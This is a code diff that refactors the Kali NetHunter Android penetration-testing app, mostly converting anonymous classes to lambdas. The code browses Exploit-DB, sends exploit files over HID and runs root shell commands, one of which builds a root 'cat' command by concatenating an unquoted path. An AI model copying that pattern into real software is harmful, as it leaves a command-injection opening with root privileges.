dialog.dismiss(); - } - }) - .setPositiveButton("Enable", new DialogInterface.OnClickListener() { - public void onClick(DialogInterface dialog, int id) { - getView().findViewById(R.id.search_filters).setVisibility(View.GONE); - item.setTitle("Disable Raw search"); - withFilters = false; - loadExploits(); - hideSoftKeyboard(getView()); - } + .setNegativeButton("Cancel", (dialog, id) -> dialog.dismiss()) + .setPositiveButton("Enable", (dialog, id) -> { + getView().findViewById(R.id.search_filters).setVisibility(View.GONE); + item.setTitle("Disable Raw search"); + withFilters = false; + loadExploits(); + hideSoftKeyboard(getView()); }); AlertDialog ad = builder.create(); @@ -224,20 +206,17 @@ public void onClick(DialogInterface dialog, int id) { } private static void hideSoftKeyboard(final View caller) { - caller.postDelayed(new Runnable() { - @Override - public void run() { - InputMethodManager imm = (InputMethodManager) caller.getContext().getSystemService(Context.INPUT_METHOD_SERVICE); - imm.hideSoftInputFromWindow(caller.getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS); - } + caller.postDelayed(() -> { + InputMethodManager imm = (InputMethodManager) caller.getContext().getSystemService(Context.INPUT_METHOD_SERVICE); + imm.hideSoftInputFromWindow(caller.getWindowToken(), InputMethodManager.HIDE_NOT_ALWAYS); }, 100); } private void main(final View rootView) { - searchSploitListView = (ListView) rootView.findViewById(R.id.searchResultsList); + searchSploitListView = rootView.findViewById(R.id.searchResultsList); Long exploitCount = database.getCount(); - Button searchSearchSploit = (Button) rootView.findViewById(R.id.serchsploit_loadDB); + Button searchSearchSploit = rootView.findViewById(R.id.serchsploit_loadDB); if (exploitCount == 0) { searchSearchSploit.setVisibility(View.VISIBLE); rootView.findViewById(R.id.search_filters).setVisibility(View.GONE); @@ -250,7 +229,7 @@ private void main(final View rootView) { } final List portList = database.getPorts(); - Spinner portSpin = (Spinner) rootView.findViewById(R.id.exdb_port_spinner); + Spinner portSpin = rootView.findViewById(R.id.exdb_port_spinner); ArrayAdapter adp1 = new ArrayAdapter<>(getActivity(), android.R.layout.simple_list_item_1, portList); adp1.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); portSpin.setAdapter(adp1); @@ -267,7 +246,7 @@ public void onNothingSelected(AdapterView parentView) { }); final List platformList = database.getPlatforms(); - Spinner platformSpin = (Spinner) rootView.findViewById(R.id.exdb_platform_spinner); + Spinner platformSpin = rootView.findViewById(R.id.exdb_platform_spinner); ArrayAdapter adp12 = new ArrayAdapter<>(getActivity(), android.R.layout.simple_list_item_1, platformList); adp12.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); platformSpin.setAdapter(adp12); @@ -284,7 +263,7 @@ public void onNothingSelected(AdapterView parentView) { }); final List typeList = database.getTypes(); - Spinner typeSpin = (Spinner) rootView.findViewById(R.id.exdb_type_spinner); + Spinner typeSpin = rootView.findViewById(R.id.exdb_type_spinner); ArrayAdapter adp13 = new ArrayAdapter<>(getActivity(), android.R.layout.simple_list_item_1, typeList); adp13.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); typeSpin.setAdapter(adp13); @@ -316,11 +295,7 @@ private void loadExploits() { } if (exploitList == null) { new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - loadExploits(); - } - }, 1500); + () -> loadExploits(), 1500); return; } numex.setText(String.format("%d results", exploitList.size())); @@ -329,11 +304,7 @@ public void run() { if (!isLoaded) { // preloading the long list lets see if is more performant // preload in the background. - new Thread(new Runnable() { - public void run() { - full_exploitList = database.getAllExploitsRaw(""); - } - }).start(); + new Thread(() -> full_exploitList = database.getAllExploitsRaw("")).start(); adi.dismiss(); isLoaded = true; @@ -401,15 +372,15 @@ public View getView(final int position, View convertView, ViewGroup parent) { // set up the ViewHolder vH = new ViewHolderItem(); // get the reference of switch and the text view - vH.description = (TextView) convertView.findViewById(R.id.description); + vH.description = convertView.findViewById(R.id.description); // vH.cwSwich = (Switch) convertView.findViewById(R.id.switch1); - vH.platform = (TextView) convertView.findViewById(R.id.platform); - vH.type = (TextView) convertView.findViewById(R.id.type); - vH.author = (TextView) convertView.findViewById(R.id.author); - vH.date = (TextView) convertView.findViewById(R.id.exploit_date); - vH.viewSource = (Button) convertView.findViewById(R.id.viewSource); - vH.openWeb = (Button) convertView.findViewById(R.id.openWeb); - vH.sendHid = (Button) convertView.findViewById(R.id.searchsploit_sendhid_button); + vH.platform = convertView.findViewById(R.id.platform); + vH.type = convertView.findViewById(R.id.type); + vH.author = convertView.findViewById(R.id.author); + vH.date = convertView.findViewById(R.id.exploit_date); + vH.viewSource = convertView.findViewById(R.id.viewSource); + vH.openWeb = convertView.findViewById(R.id.openWeb); + vH.sendHid = convertView.findViewById(R.id.searchsploit_sendhid_button); convertView.setTag(vH); //System.out.println ("created row"); } else { @@ -438,33 +409,24 @@ public View getView(final int position, View convertView, ViewGroup parent) { vH.type.setText(_type); vH.author.setText(_author); vH.date.setText(_date); - vH.viewSource.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - Intent i = new Intent(_mContext, EditSourceActivity.class); - i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - i.putExtra("path", "/data/local/nhsystem/kali-armhf/usr/share/exploitdb/" + _file); - _mContext.startActivity(i); + vH.viewSource.setOnClickListener(v -> { + Intent i = new Intent(_mContext, EditSourceActivity.class); + i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + i.putExtra("path", "/data/local/nhsystem/kali-armhf/usr/share/exploitdb/" + _file); + _mContext.startActivity(i); - } }); - vH.sendHid.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - start("/usr/share/exploitdb/" + _file); - //_mContext.startActivity(i); + vH.sendHid.setOnClickListener(v -> { + start("/usr/share/exploitdb/" + _file); + //_mContext.startActivity(i); - } }); - vH.openWeb.setOnClickListener(new View.OnClickListener() { - @Override - public void onClick(View v) { - Intent i = new Intent(Intent.ACTION_VIEW); - i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); - String url = "https://www.exploit-db.com/exploits/" + _id + "/"; - i.setData(Uri.parse(url)); - _mContext.startActivity(i); - } + vH.openWeb.setOnClickListener(v -> { + Intent i = new Intent(Intent.ACTION_VIEW); + i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + String url = "https://www.exploit-db.com/exploits/" + _id + "/"; + i.setData(Uri.parse(url)); + _mContext.startActivity(i); }); return convertView; diff --git a/src/com/offsec/nethunter/VNCFragment.java b/src/com/offsec/nethunter/VNCFragment.java index 1c1256f..6374d05 100644 --- a/src/com/offsec/nethunter/VNCFragment.java +++ b/src/com/offsec/nethunter/VNCFragment.java @@ -4,7 +4,6 @@ import android.content.Intent; import android.content.SharedPreferences; import android.os.Bundle; -import androidx.fragment.app.Fragment; import android.util.DisplayMetrics; import android.util.Log; import android.view.LayoutInflater; @@ -19,6 +18,8 @@ import com.offsec.nethunter.utils.NhPaths; +import androidx.fragment.app.Fragment; + public class VNCFragment extends Fragment { private static final String TAG = "VNCFragment"; @@ -61,50 +62,40 @@ public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle sa xwidth = Integer.toString(screen_width); xheight = Integer.toString(screen_height); } - Button SetupVNCButton = (Button) rootView.findViewById(R.id.set_up_vnc); - Button StartVNCButton = (Button) rootView.findViewById(R.id.start_vnc); - Button StopVNCButton = (Button) rootView.findViewById(R.id.stop_vnc); - Button OpenVNCButton = (Button) rootView.findViewById(R.id.vncClientStart); + Button SetupVNCButton = rootView.findViewById(R.id.set_up_vnc); + Button StartVNCButton = rootView.findViewById(R.id.start_vnc); + Button StopVNCButton = rootView.findViewById(R.id.stop_vnc); + Button OpenVNCButton = rootView.findViewById(R.id.vncClientStart); String[] resolutions = new String[]{"Native", "256 Colors", "64 Colors"}; - Spinner resolution_spinner = (Spinner) rootView.findViewById(R.id.resolution_spinner); + Spinner resolution_spinner = rootView.findViewById(R.id.resolution_spinner); resolution_spinner.setAdapter(new ArrayAdapter<>(getContext(), android.R.layout.simple_list_item_1, resolutions)); // Checkbox for localhost only - final CheckBox localhostCheckBox = (CheckBox) rootView.findViewById(R.id.vnc_checkBox); + final CheckBox localhostCheckBox = rootView.findViewById(R.id.vnc_checkBox); localhostCheckBox.setChecked(true); - View.OnClickListener checkBoxListener = new View.OnClickListener() { - public void onClick(View v) { - if (localhostCheckBox.isChecked()) { - localhostonly = "-localhost "; - } else { - localhostonly = ""; - } + View.OnClickListener checkBoxListener = v -> { + if (localhostCheckBox.isChecked()) { + localhostonly = "-localhost "; + } else { + localhostonly = ""; } }; localhostCheckBox.setOnClickListener(checkBoxListener); - addClickListener(SetupVNCButton, new View.OnClickListener() { - public void onClick(View v) { - intentClickListener_NH("vncpasswd && exit"); // since is a kali command we can send it as is - } + addClickListener(SetupVNCButton, v -> { + intentClickListener_NH("vncpasswd && exit"); // since is a kali command we can send it as is }); - addClickListener(StartVNCButton, new View.OnClickListener() { - public void onClick(View v) { - intentClickListener_NH("vncserver :1 " + localhostonly + "-geometry " + xwidth + "x" + xheight + " && echo \"Closing terminal in 5 secs\" && sleep 5 && exit"); // since is a kali command we can send it as is - Log.d(TAG, localhostonly); - } + addClickListener(StartVNCButton, v -> { + intentClickListener_NH("vncserver :1 " + localhostonly + "-geometry " + xwidth + "x" + xheight + " && echo \"Closing terminal in 5 secs\" && sleep 5 && exit"); // since is a kali command we can send it as is + Log.d(TAG, localhostonly); }); - addClickListener(StopVNCButton, new View.OnClickListener() { - public void onClick(View v) { - intentClickListener_NH("vncserver -kill :1 && echo \"Closing terminal in 5 secs\" && sleep 5 && exit"); // since is a kali command we can send it as is - } + addClickListener(StopVNCButton, v -> { + intentClickListener_NH("vncserver -kill :1 && echo \"Closing terminal in 5 secs\" && sleep 5 && exit"); // since is a kali command we can send it as is }); - addClickListener(OpenVNCButton, new View.OnClickListener() { - public void onClick(View v) { - intentClickListener_VNC(); // since is a kali command we can send it as is - } + addClickListener(OpenVNCButton, v -> { + intentClickListener_VNC(); // since is a kali command we can send it as is }); @@ -143,7 +134,7 @@ private void intentClickListener_VNC() { } } catch (Exception e) { - Log.d("errorLAinching", e.toString()); + Log.d("errorLaunching", e.toString()); Toast.makeText(getActivity().getApplicationContext(), "NetHunter VNC not found!", Toast.LENGTH_SHORT).show(); } } diff --git a/src/com/offsec/nethunter/gps/GpsdServer.java b/src/com/offsec/nethunter/gps/GpsdServer.java index b34cf97..57ec255 100644 --- a/src/com/offsec/nethunter/gps/GpsdServer.java +++ b/src/com/offsec/nethunter/gps/GpsdServer.java @@ -19,7 +19,7 @@ public class GpsdServer extends AsyncTask { private static final String TAG = "GpsdServer"; - GpsdServer(ConnectionListener listener) throws IOException { + GpsdServer(ConnectionListener listener) { this.listener = listener; } @@ -45,20 +45,18 @@ protected Void doInBackground(Void... params) { ServerSocket serverSocket = new ServerSocket(); serverSocket.bind(socketAddress); - new Thread(new Runnable() { - public void run() { - - try { - Thread.sleep(1000); - } catch (InterruptedException e) { - e.printStackTrace(); - } - ShellExecuter exe = new ShellExecuter(); - String command = "su -c '" + SCRIPT_PATH + File.separator + "bootkali start_gpsd " + String.valueOf(PORT) + "'"; - Log.d(TAG, command); - String response = exe.RunAsRootOutput(command); - Log.d(TAG, "Response = " + response); + new Thread(() -> { + + try { + Thread.sleep(1000); + } catch (InterruptedException e) { + e.printStackTrace(); } + ShellExecuter exe = new ShellExecuter(); + String command = "su -c '" + SCRIPT_PATH + File.separator + "bootkali start_gpsd " + String.valueOf(PORT) + "'"; + Log.d(TAG, command); + String response = exe.RunAsRootOutput(command); + Log.d(TAG, "Response = " + response); }).start(); diff --git a/src/com/offsec/nethunter/gps/LocationUpdateService.java b/src/com/offsec/nethunter/gps/LocationUpdateService.java index 010be87..1ffb63f 100644 --- a/src/com/offsec/nethunter/gps/LocationUpdateService.java +++ b/src/com/offsec/nethunter/gps/LocationUpdateService.java @@ -10,9 +10,6 @@ import android.os.Binder; import android.os.Bundle; import android.os.IBinder; -import androidx.annotation.NonNull; -import androidx.annotation.Nullable; -import androidx.core.app.ActivityCompat; import android.util.Log; import com.google.android.gms.common.ConnectionResult; @@ -29,6 +26,10 @@ import java.io.PrintWriter; import java.net.Socket; +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.core.app.ActivityCompat; + public class LocationUpdateService extends Service implements GpsdServer.ConnectionListener, GoogleApiClient.ConnectionCallbacks, GoogleApiClient.OnConnectionFailedListener { private KaliGPSUpdates.Receiver updateReceiver; @@ -114,14 +115,12 @@ public static String formatPosition(Location location) { double longitude = location.getLongitude(); char ewSuffix = longitude < 0 ? 'W' : 'E'; longitude = Math.abs(longitude); - @SuppressLint("DefaultLocale") - - String lat = String.format("%02d%02d.%04d,%c", + @SuppressLint("DefaultLocale") String lat = String.format("%02d%02d.%04d,%c", (int) latitude, (int) (latitude * 60) % 60, (int) (latitude * 60 * 10000) % 10000, nsSuffix); - String lon = String.format("%03d%02d.%04d,%c", + @SuppressLint("DefaultLocale") String lon = String.format("%03d%02d.%04d,%c", (int) longitude, (int) (longitude * 60) % 60, (int) (longitude * 60 * 10000) % 10000, @@ -169,11 +168,7 @@ public void requestUpdates(KaliGPSUpdates.Receiver receiver) { this.updateReceiver = receiver; GpsdServer gpsdServer = null; - try { - gpsdServer = new GpsdServer(this); - } catch (IOException e) { - e.printStackTrace(); - } + gpsdServer = new GpsdServer(this); if (gpsdServer != null) { gpsdServer.execute(null, null); Log.d(TAG, "GPSDServer Async Task Begun"); diff --git a/src/com/offsec/nethunter/service/RunAtBootService.java b/src/com/offsec/nethunter/service/RunAtBootService.java index fcd3810..c62917f 100644 --- a/src/com/offsec/nethunter/service/RunAtBootService.java +++ b/src/com/offsec/nethunter/service/RunAtBootService.java @@ -1,15 +1,9 @@ package com.offsec.nethunter.service; -import android.app.Notification; import android.app.NotificationManager; -import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; -import android.os.IBinder; -import androidx.annotation.NonNull; -import androidx.core.app.JobIntentService; -import androidx.core.app.NotificationCompat; import android.util.Log; import android.widget.Toast; @@ -20,6 +14,10 @@ import com.offsec.nethunter.utils.NhPaths; import com.offsec.nethunter.utils.ShellExecuter; +import androidx.annotation.NonNull; +import androidx.core.app.JobIntentService; +import androidx.core.app.NotificationCompat; + public class RunAtBootService extends JobIntentService { private static final String CHROOT_INSTALLED_TAG = "CHROOT_INSTALLED_TAG"; diff --git a/src/com/offsec/nethunter/utils/BootKali.java b/src/com/offsec/nethunter/utils/BootKali.java index 2f85718..c5c63dc 100644 --- a/src/com/offsec/nethunter/utils/BootKali.java +++ b/src/com/offsec/nethunter/utils/BootKali.java @@ -181,33 +181,32 @@ public String run() { // sends a command to kali // no blocking but atm no output public void run_bg() { - new Thread(new Runnable() { - public void run() { - String output = ""; - String line; - try { - Process process = Runtime.getRuntime().exec("su"); - OutputStream stdin = process.getOutputStream(); - InputStream stderr = process.getErrorStream(); - //InputStream stdout = process.getInputStream(); - stdin.write((BOOTKALI + KALI_COMMAND).getBytes()); - stdin.flush(); - stdin.close(); - BufferedReader br = new BufferedReader(new InputStreamReader(stderr)); - while ((line = br.readLine()) != null) { - Log.e("Shell out:", output); - Log.e("Shell Error:", line); - } - br.close(); - process.waitFor(); - process.destroy(); - } catch (IOException | InterruptedException e) { - e.printStackTrace(); + new Thread(() -> { + String output = ""; + String line; + try { + Process process = Runtime.getRuntime().exec("su"); + OutputStream stdin = process.getOutputStream(); + InputStream stderr = process.getErrorStream(); + //InputStream stdout = process.getInputStream(); + stdin.write((BOOTKALI + KALI_COMMAND).getBytes()); + stdin.flush(); + stdin.close(); + BufferedReader br = new BufferedReader(new InputStreamReader(stderr)); + while ((line = br.readLine()) != null) { + Log.e("Shell out:", output); + Log.e("Shell Error:", line); } + br.close(); + process.waitFor(); + process.destroy(); + } catch (IOException | InterruptedException e) { + e.printStackTrace(); } }).start(); } + // these don't seem to be used public String GET_TERM_CMD() { return "su -c \"" + TERM_CMD + "\""; } diff --git a/src/com/offsec/nethunter/utils/CheckForRoot.java b/src/com/offsec/nethunter/utils/CheckForRoot.java index 2677185..0652f6f 100644 --- a/src/com/offsec/nethunter/utils/CheckForRoot.java +++ b/src/com/offsec/nethunter/utils/CheckForRoot.java @@ -3,13 +3,13 @@ import android.app.Activity; import android.app.ProgressDialog; import android.content.Context; -import android.content.DialogInterface; import android.os.AsyncTask; -import androidx.appcompat.app.AlertDialog; import android.util.Log; import com.offsec.nethunter.R; +import androidx.appcompat.app.AlertDialog; + public class CheckForRoot extends AsyncTask { @@ -46,21 +46,15 @@ protected void onProgressUpdate(Boolean... progress) { AlertDialog.Builder adb = new AlertDialog.Builder(ctx); adb.setTitle(R.string.rootdialogtitle) .setMessage(R.string.rootdialogmessage) - .setPositiveButton(R.string.rootdialogposbutton, new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - dialog.cancel(); - cancel(true); - CheckForRoot mytask = new CheckForRoot(ctx); - mytask.execute(); - } + .setPositiveButton(R.string.rootdialogposbutton, (dialog, which) -> { + dialog.cancel(); + cancel(true); + CheckForRoot mytask = new CheckForRoot(ctx); + mytask.execute(); }) - .setNegativeButton(R.string.rootdialognegbutton, new DialogInterface.OnClickListener() { - @Override - public void onClick(DialogInterface dialog, int which) { - cancel(true); - ((Activity) ctx).finish(); - } + .setNegativeButton(R.string.rootdialognegbutton, (dialog, which) -> { + cancel(true); + ((Activity) ctx).finish(); }); AlertDialog ad = adb.create(); ad.setCancelable(false); diff --git a/src/com/offsec/nethunter/utils/CopyBootFiles.java b/src/com/offsec/nethunter/utils/CopyBootFiles.java index 6c708f6..05761bb 100644 --- a/src/com/offsec/nethunter/utils/CopyBootFiles.java +++ b/src/com/offsec/nethunter/utils/CopyBootFiles.java @@ -143,11 +143,9 @@ protected void onPostExecute(final String result) { Log.d("Res_copyAssets:", result); if (pd != null) { new android.os.Handler().postDelayed( - new Runnable() { - public void run() { - pd.dismiss(); - AppNavHomeActivity.setDrawerOptions(); - } + () -> { + pd.dismiss(); + AppNavHomeActivity.setDrawerOptions(); }, 1500); @@ -159,10 +157,7 @@ private Boolean pathIsAllowed(String path, String copyType) { if (copyType.equals("sdcard")) { if (path.equals("")) { return true; - } else if (path.startsWith(nh.NH_SD_FOLDER_NAME)) { - return true; - } - return false; + } else return path.startsWith(nh.NH_SD_FOLDER_NAME); } if (copyType.equals("data")) { if (path.equals("")) { @@ -171,10 +166,7 @@ private Boolean pathIsAllowed(String path, String copyType) { return true; } else if (path.startsWith("wallpapers")) { return true; - } else if (path.startsWith("etc")) { - return true; - } - return false; + } else return path.startsWith("etc"); } return false; } diff --git a/src/com/offsec/nethunter/utils/ShellExecuter.java b/src/com/offsec/nethunter/utils/ShellExecuter.java index ca21491..53dc3a8 100644 --- a/src/com/offsec/nethunter/utils/ShellExecuter.java +++ b/src/com/offsec/nethunter/utils/ShellExecuter.java @@ -2,6 +2,7 @@ import android.util.Log; import android.widget.EditText; + import java.io.BufferedReader; import java.io.DataOutputStream; import java.io.IOException; @@ -151,28 +152,21 @@ public String RunAsRootOutput(String command) { // if you need to manipulate the outpput use the SYNC method. (down) public void ReadFile_ASYNC(String _path, final EditText v) { final String command = "cat " + _path; - new Thread(new Runnable() { - public void run() { - String output = ""; - try { - Process p = Runtime.getRuntime().exec("su -c " + command); - p.waitFor(); - BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); - String line; - while ((line = reader.readLine()) != null) { - output = output + line + "\n"; - } - } catch (Exception e) { - e.printStackTrace(); + new Thread(() -> { + String output = ""; + try { + Process p = Runtime.getRuntime().exec("su -c " + command); + p.waitFor(); + BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream())); + String line; + while ((line = reader.readLine()) != null) { + output = output + line + "\n"; } - final String _output = output; - v.post(new Runnable() { - @Override - public void run() { - v.setText(_output); - } - }); + } catch (Exception e) { + e.printStackTrace(); } + final String _output = output; + v.post(() -> v.setText(_output)); }).start(); } // WRAP THIS IN THE BACKGROUND IF POSIBLE WHE USING IT